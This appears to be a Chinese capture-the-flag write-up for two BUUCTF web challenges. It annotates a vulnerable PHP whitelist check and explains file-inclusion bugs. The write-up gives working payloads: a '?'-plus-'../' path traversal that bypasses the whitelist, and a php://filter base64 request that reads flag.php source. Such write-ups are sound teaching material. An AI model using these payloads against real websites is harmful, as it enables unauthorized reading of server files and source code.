BUUCTF

web

[HCTF 2018]WarmUp

考察PHP代码审计,进入后F12可以发现source.php的源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //isset()判断变量是否声明is_string()判断变量是否是字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            //检测传进来的值是否匹配白名单列表$whitelist,必须严格符合source.php或hint.php,别的都不能返回true
            if (in_array($page, $whitelist)) {
                return true;
            }

            //mb_substr函数用于截取字符串,从第2个参数开始,到第3个参数结束
            //mb_strpos函数用于寻找第1个参数中,第一次出现第2个参数符号,的开始位置
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//截取开始到第1个问号的字符串内容
            
            if (in_array($_page, $whitelist)) {
                return true;
            }//白名单检测

            $_page = urldecode($page);//URL解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//URL编码后再截取第一个问号之前的内容
            
            if (in_array($_page, $whitelist)) {
                return true;
            }
            
            //上述所以检测都不能return true,就返回false
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file']; //include漏洞:会直接当作文件执行,可以使用../遍历整个网站架构
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

所以一共是4个if,其中过滤了?2次,url解码一次(其实浏览器上传已经解码了1次)。

最终要求$_REQUEST['file']的结果内容包含在白名单内$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

最后使用include对文件进行查看

include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’

因此构造payload的时候需要先绕过前面的这些if

payload:?file=source.php?../../../../../ffffllllaaaagggg

最后$_REQUEST['file']的值为source.php?../../../../../ffffllllaaaagggg,截取第一个问号前的为source.php,这样就在白名单内,return true。然后include执行source.php?../../../../../ffffllllaaaagggg,直接读取source.php下面的文件,已经知道flag在ffffllllaaaagggg里面,反复尝试,发现需要5次数../就找到flag

1.png

[ACTF2020 新生赛]Include 1

前期知识文件包含漏洞

文件包含漏洞就是使用函数去包含任意文件的时候,当包含的文件来源过滤不严谨的时候,当存在包含恶意文件后,就可以通过这个恶意的文件来达到相应的目的。

常见的文件包含函数

PHP:include() 、include_once()、require()、require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual

比如PHP的include函数,包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。常见的文件包含漏洞形式如下

http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2

这道题打开靶机,发现很明显是一个文件包含漏洞

2.png

也可以用扫描工具去看,会发现很多目录,比如这个目录

3.png

那么文件包含漏洞,可以尝试下php的filter流,构造payload

?file=php://filter/convert.base64-encode/resource=flag.php

得到一串编码,显然==说明是base64,解码得到flag

4.png

大家的flag都是不一样的,不用复制喔

知识扩展:php://filter

  • 作用:php://filter可以获取指定文件源码。当其与文件包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取任意文件源代码。

  • 场景:

    • 知道flag文件地址后,可以直接用该协议读取文件内容
    • 有时候一些关键字被过滤也可以用该协议绕过
    • 有的flag隐藏在注释当中,可通过此协议查看源码获取flag
  • 格式:

    xxx.php?xxx=php://filter/convert.base64-encode/resource=xxx.php
    
  • 利用条件:

    • 不受allow_url_include和allow_url_fopen的限制